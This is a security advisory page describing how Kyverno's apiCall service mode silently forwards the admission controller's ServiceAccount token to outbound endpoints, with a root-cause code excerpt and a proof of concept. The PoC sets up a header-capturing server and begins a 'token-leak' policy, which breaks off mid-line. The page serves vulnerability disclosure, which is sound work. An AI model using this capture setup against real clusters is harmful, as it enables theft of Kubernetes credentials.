highCVSS 7.7Vulnerability

GHSA-8wfp-579w-6r25

### Summary Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints. The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in. --- ### Details Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from: `/var/run/secrets/kubernetes.io/serviceaccount/token` and injects it into every HTTP request as: ``` Authorization: Bearer <token> ``` This occurs when no explicit `Authorization` header is defined in the policy. #### Root cause ```go if req.Header.Get("Authorization") == "" { token := a.getToken() if token != "" { req.Header.Add("Authorization", "Bearer "+token) } } ``` This logic introduces several issues: - **Implicit credential forwarding** to arbitrary endpoints - **No trust boundary validation** (external/internal distinction) - **Undocumented behavior** - **Header.Add instead of Set** allows duplication - **No token sanitization** (potential trailing newline) --- ### PoC #### Preconditions - Kyverno installed (v1.17.1 tested) - A policy using `apiCall.service.url` --- #### Step 1 — Deploy capture server ```bash kubectl run capture --image=python:3-slim --restart=Never -- \ python3 -c " import http.server class H(http.server.BaseHTTPRequestHandler): def do_GET(self): print(self.headers.get('Authorization'), flush=True) self.send_response(200) self.end_headers() http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()" kubectl expose pod capture --port=8888 ``` --- #### Step 2 — Create policy ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: token-leak spec: rules: - name: test match: any: - resources: kinds: ["Pod"] context: - name: r apiC

Properties

ghsa_id
GHSA-8wfp-579w-6r25
severity
high
summary
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
cvss_score
7.7
cve_id
GHSA-8wfp-579w-6r25
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
is_ghsa_only
true
ghsa_published
2026-04-16T21:37:29Z
source_url
https://github.com/advisories/GHSA-8wfp-579w-6r25
ghsa_updated
2026-04-16T21:37:31Z

Related Entities (5)

VULNERABLE_TO (1)

[Software]go/github.com/kyverno/kyverno

AFFECTS (1)

[Software]go/github.com/kyverno/kyverno

HAS_WEAKNESS (2)

[Weakness]Insufficiently Protected Credentials
[Weakness]Exposure of Sensitive Information to an Unauthorized Actor

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph

GHSA-8wfp-579w-6r25 (CVSS 7.7) — Ninja Signal Threat Intelligence | Ninja Signal